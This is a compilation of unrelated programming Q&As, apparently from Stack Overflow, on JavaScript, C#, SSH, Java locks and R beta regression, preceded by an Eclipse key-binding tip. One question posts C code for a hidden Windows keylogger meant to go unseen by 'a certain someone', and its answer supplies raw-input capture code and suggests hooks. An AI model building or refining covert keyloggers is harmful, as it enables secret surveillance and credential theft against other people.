For presentations, screen casts and learning purposes, it is very helpful to show the corresponding key binding when a command is invoked. When the command is invoked (via a key binding or menu interaction) the key binding, the command's name and description are shown on the screen.

You can activate this in the Preferences dialog via the Show key binding when command is invoked check box on the General > Keys preference page. To toggle this setting quickly the command 'Toggle Whether to Show Key Binding' can be used (e.g. via the quick access).


text:
Q: How to check for a SPECIFIC object and that specific object being the ONLY object in a better way then index approach used below? I want to check it the taskDetails object exclusively and Only has lastTask value and no other.(no other values apart from lastTask)
So I am checking with the [0]index approach as below;
Object.keys(this.clubdetails.taskDetails)[0]==["lastTask"]

I doubt this because, if another object "currentTask" gets added at index 1, still the index of lastTask remains ["0"] and my check about lastTask at index[0]returns true but the condition of Only lastTask value being present in taskDetails object goes false.
I believe there should be a better way to check if object has only a specific value and no other, please advice on the same.

A: JSON.stringify(Object.keys(this.clubdetails.taskDetails)) === JSON.stringify(["lastTask"])

The idea is convert the Object.keys(this.clubdetails.taskDetails) to string. If it only have key lastTask only,  the converted string should become ["lastTask"]

A: You could check if the length of object keys is 1:
Object.keys(this.clubdetails.taskDetails).length === 1 && Object.keys(this.clubdetails.taskDetails)[0]==="lastTask"


text:
Q: Why does the Sleep() function prevent the entire loop from working? The goal is to create a program that logs keystrokes and writes it into a text file. Currently, just tapping a key will write that key a hundred times so I'm trying to slow it down a bit.
However, using Sleep() will prevent this whole code from doing anything at all unless I use Sleep(0) (which, as I understand, means "Do not let lower priority threads run").
Code:
// Subconsole is Windows so the running app is not visible to a certain someone
int __stdcall WinMain(_In_ HINSTANCE hinstance, _In_opt_ HINSTANCE hprevinstance, _In_ LPSTR lpcmdline, _In_ int ncmdshow)
{
    FILE* write;
    char running = 1;
    fopen_s(&write, "typelog.txt", "w");

    while (running)
    {
        _Bool keytoggle;
        char key;

        // Go from A to Z and see if the key for that was pressed
        for (int i = 0x41; i < 0x5A; i++)
        {
            // Is the highest order bit for GetAsyncKeyState a 1 (is the key down)
            keytoggle = (GetAsyncKeyState(i) & (1 << 15)) != 0;

            if (keytoggle)
            {
                key = i;    // save the key that was pressed
                break;
            }
        }

        // If the key was pressed, write it, otherwise write a space

        if (keytoggle)
        {
            if (write)
                fprintf(write, "%c", key);
        }

        else
        {
            if (write)
                fprintf(write, " ");
        }

        // Sleep for like, just one millisecond please

        Sleep(1);
    }

    return 0;
}

I have heard that using Sleep, even for a 1ms, can be extended to 20ms because of the system timer. Is that the case? Even if it was, why would the code not be executed at all?
I've searched for an hour or so and found nothing. If you can help it'd be great.

A: With debugging, the problem is your txt handle is not closed when calling Sleep(1). You can use Message-Only Windows and Raw Input to achieve your goal. For example:
BOOL InitInstance(HINSTANCE hInstance, int nCmdShow)
{
   hInst = hInstance; // Store instance handle in our global variable

   HWND hWnd = CreateWindow(szWindowClass, szTitle, WS_OVERLAPPEDWINDOW,
      CW_USEDEFAULT, 0, CW_USEDEFAULT, 0, HWND_MESSAGE, nullptr, hInstance, nullptr);

   if (!hWnd)
   {
      return FALSE;
   }

   ShowWindow(hWnd, nCmdShow);
   UpdateWindow(hWnd);
   RawInput(hWnd);
   return TRUE;
}

and
#define BUFFER 512
HRESULT ShowRawInputInfo(LPARAM lParam)
{
    UINT dwSize = 0;
    HRESULT hResult;

    GetRawInputData((HRAWINPUT)lParam, RID_INPUT, NULL, &dwSize, sizeof(RAWINPUTHEADER));
    LPBYTE lpb = new BYTE[dwSize];
    if (lpb == NULL)
    {
        return 0;
    }

    if (GetRawInputData((HRAWINPUT)lParam, RID_INPUT, lpb, &dwSize, sizeof(RAWINPUTHEADER)) != dwSize)
        OutputDebugString(TEXT("GetRawInputData does not return correct size !\n"));

    RAWINPUT* raw = (RAWINPUT*)lpb;
    WCHAR szTempOutput[BUFFER];
    if (raw->header.dwType == RIM_TYPEKEYBOARD)
    {
        hResult = StringCchPrintf(szTempOutput, BUFFER,
            TEXT(" Kbd: make=%04x Flags:%04x Reserved:%04x ExtraInformation:%08x, msg=%04x VK=%04x \n"),
            raw->data.keyboard.MakeCode,
            raw->data.keyboard.Flags,
            raw->data.keyboard.Reserved,
            raw->data.keyboard.ExtraInformation,
            raw->data.keyboard.Message,
            raw->data.keyboard.VKey);
        if (FAILED(hResult))
        {
            // TODO: write error handler
        }
        OutputDebugString(szTempOutput);
    }
    else if (raw->header.dwType == RIM_TYPEMOUSE)
    {
        hResult = StringCchPrintf(szTempOutput, BUFFER,
            TEXT("Mouse: usFlags=%04x ulButtons=%04x usButtonFlags=%04x usButtonData=%04x ulRawButtons=%04x lLastX=%04x lLastY=%04x ulExtraInformation=%04x\r\n"),
            raw->data.mouse.usFlags,
            raw->data.mouse.ulButtons,
            raw->data.mouse.usButtonFlags,
            raw->data.mouse.usButtonData,
            raw->data.mouse.ulRawButtons,
            raw->data.mouse.lLastX,
            raw->data.mouse.lLastY,
            raw->data.mouse.ulExtraInformation);

        if (FAILED(hResult))
        {
            // TODO: write error handler
        }
        OutputDebugString(szTempOutput);
    }

    delete[] lpb;
    return 0;
}
//
//  FUNCTION: WndProc(HWND, UINT, WPARAM, LPARAM)
//
//  PURPOSE: Processes messages for the main window.
//
//  WM_COMMAND  - process the application menu
//  WM_PAINT    - Paint the main window
//  WM_DESTROY  - post a quit message and return
//
//
LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam)
{
    DWORD dwStyleOfStaticText = 0;
    HWND hBmp2 = NULL;
    WORD reason = 0;
    switch (message)
    {
    case WM_INPUT:
    {
        ShowRawInputInfo(lParam);
        break;
    }
    case WM_KEYDOWN:
        WCHAR szTempOutput[512];
            StringCchPrintf(szTempOutput, 512,
                TEXT(" KeyValue=%04x\n"), wParam);
        OutputDebugString(szTempOutput);
        //PostMessage(hWnd, WM_COMMAND, KILLTHEWIN, 0);// hope it serializes message
        //PostQuitMessage(0);
        break;
    case WM_DESTROY:
        PostQuitMessage(0);
        break;
    default:
        return DefWindowProc(hWnd, message, wParam, lParam);
    }
    return 0;
}

Edit: Or Hook


text:
Q: Fluent methods library for C# Where can I find a library with collections of fluent methods as in Rails
I found some here

A: CuttingEdge.Conditions is another one.

A: here
http://ayende.com/projects/rhino-mocks.aspx
http://flimflan.com/blog/ReadableRegularExpressions.aspx

A: http://fluentnhibernate.org/

A: My favorite; dependency intection: http://www.ninject.org


text:
Q: 2 out of 3 ssh connections are reset and disconnects immediately I've having an issue where 2 out of 3 ssh connections are reset and disconnects immediately.  what could be wrong?  I would like to solve it without a reboot.
I have raised the maximum number of open files and it didn't help

ulimit -n
65535

A: Try invoking ssh with -v or -vv or even -vvvto increase the amount of debug messages printed to stdout, and then use that information to help determine the issue.
Hope this helps!


text:
Q: Is this a good design for implementing the java synchronized keyword as an object? Just for practice I wanted to implement the java synchronized keyword as a java object.
Would you say the code below is a good design for this?
I guess AtomicReference would have a similar performance to AtomicBoolean?
Updated code after suggestions:
public class SynchronizedBlock implements Runnable{

private final Lock lock;
private final Runnable runnable;

public SynchronizedBlock(Runnable r, Lock l){
    runnable = r;
    lock = l;
}

public void run() {
    try {
        while(!lock.compareAndSet(false, true)){
            Thread.sleep(100);
        }
        runnable.run();
    } catch (InterruptedException e) {
        e.printStackTrace();
    } finally {
        lock.unlock();
    }

}

 }

 public class Lock {
private final AtomicReference<Boolean> locked = new AtomicReference<Boolean>(false);

public boolean compareAndSet(boolean expected, boolean update){
    return locked.compareAndSet(expected, update);
}

public boolean isLocked(){
    return locked.get();
}

public void unlock(){
    locked.set(false);
}
 }

@Test
public void test() {

    final SynchronizedBlock sb = new SynchronizedBlock(new Runnable(){

        public void run() {
            x++;
            System.out.println(x);
        }

    }, new Lock());

    Runnable r1 = new Runnable(){

        int c = 0;
        public void run() {
            while(c<10){
                sb.run();
                c++;
            }
        }

    };

    Runnable r2 = new Runnable(){

        int c = 0;
        public void run() {
            while(c<10){
                sb.run();
                c++;
            }
        }

    };

    Thread t1 = new Thread(r1);
    Thread t2 = new Thread(r2);

    t1.start();
    t2.start();

    while (t1.isAlive() && t2.isAlive()){

    }

    assertEquals(20,x);

}

A: You should add a method to encapsulate the compareAndSwap, and there is no point looping for the lock to be free before attempting to obtain it. Why get in the situation where you can see the lock is free but by the time you try to take it, it is gone.
I would remove the lock method and place the unlock in a finally lock so that an Exception/Error doesn't result in a lock which never unlocks.
Also I would use an AtomicBoolean which is more natural than an AtomicReference

A: Firstly and most importantly, you should remove Thread.sleep(100). This will cause at least 100ms latency even in only 2-thread contention.
You can simply use AtomicBoolean instead of AtomicReference to simplify your code. Also if you're really concerned about concurrency in high-contention situation, you can modify your code to check if it's locked before doing CAS.
while (true) {
  if (lock.isLocked()) continue; // or get() == true if you use AtomicBoolean
  if (lock.compareAndSet(false, true))
    break;
}

This is an example of TTAS(Test-Test-And-Set) locking which takes advantage of local-spinning to reduce main-memory access while looping.
See http://en.wikipedia.org/wiki/Test_and_Test-and-set


text:
Q: How to implement a mixed model using betareg function in R? I have a dataset comprised of proportions that measure "activity level" of individual tadpoles, therefore making the values bound between 0 and 1. This data was collected by counting the number of times the individual moved within a certain time interval (1 for movement, 0 for no movement), and then averaged to create one value per individual. My main fixed effect would be "density level".
The issue I am facing is that I have a factor variable, "pond" that I would like to include as a random effect - I do not care about differences between ponds, but would like to account for them statistically. One important point about the ponds is that I only have 3 of them, and I understand it is ideal to have more factor levels (5+) when dealing with random effects.
If it is possible to do, I would like some advice on how to implement a mixed model using betareg() or betamix() in R. I have read the R help files, but I usually find them difficult to understand (what each argument parameter really means in the context of my own data AND what the output values mean in ecological terms) and so I tend to work better via examples.
On a related note, I was wondering if I can instead use a glm() under a binomial family, and logit link, to accomplish accounting for random effects with this kind of data.

A: This started as a comment, but went long. I don't think a random effects model is appropriate here. There are only 3 ponds -- do you want to estimate a variance from 3 numbers? That's kinda what's going with a random effects model. I'm guessing the ponds were chosen by reason of their convenience to the researcher, and not as a random sample of "Ponds of the Americas".
The advantage of a random effects model is that it allows you to construct a confidence interval on the response (activity level) that takes pond to pond variation into account. A fixed effects model -- in other words, treating pond like a block -- adjusts the response for the pond effect. If there were some addidtional treatment effect -- say two species of frog in each pond -- blocking reduces the mean square error (denominator of the F test) and allows the effect of the treatment to shine forth.
In this example, there is no treatment effect and the number of ponds is too small for a random effects model (and probably too "non-random"), so I'm not sure what conclusions can be drawn from this study. One could get a nice estimate of the difference between the ponds, but that's about it. I don't see inferences being drawn to the wider population of frogs in other pond settings. One could frame it as a pilot study, I suppose.
Bear in mind that any use of a random effects model here is going to give a very unreliable estimate for the pond variance and must be Used With Caution.
But as to your original question -- isn't this more of a rate problem? The go-to distribution for events-per-unit-time is the Poisson. So you could do Poisson regression using the counts with the time interval as an offset.

A: The package glmmTMB may be helpful for anyone with a similar question. For example, if you wanted to include pond from the above question as a random effect, the following code would do the trick:
glmmTMB(y ~ 1 + (1|pond), df, family=list(family="beta",link="logit"))

A: The current capabilities of betareg do not include random/mixed effects. In betareg() you can only include fixed effect, e.g., for your three-level pond variable. The betamix() function implements a finite mixture beta regression, not a mixed effects beta regression.
In your case, I would first try to see what effect a fixed pond factor effect has. This "costs" you two degrees of freedom while a random effect would be slightly cheaper with only one additional degree of freedom. But I would be surprised if the two approaches lead to very different qualitative insights.
Finally, while glm() does not support beta regression, but in the mgcv package there is the betar() family that can be used with the gam() function.

A: I think you were right in guessing that you could use a glm binomial model.
No movement = failure (0), movement = 1 (success).
I second @Placidia that you do not have enough ponds (3) to justify making a random effect out of it.
The advantage of using a binomial model comes from using more of your original data to answer your hypothesis (more statistical power). The possibilities are:

*

*using a mixed-effects extension (binomial glmer) for tadpole identity as an individual random intercept (or slope)

*looking into the effect of different time intervals (categorically).

It all depends on your hypothesis. Maybe you do not need something more complex than a simple beta regression. It is not clear from your original question what your hypothesis is (but it is certainly not about comparing activities between ponds, as you said that you are not interested about that).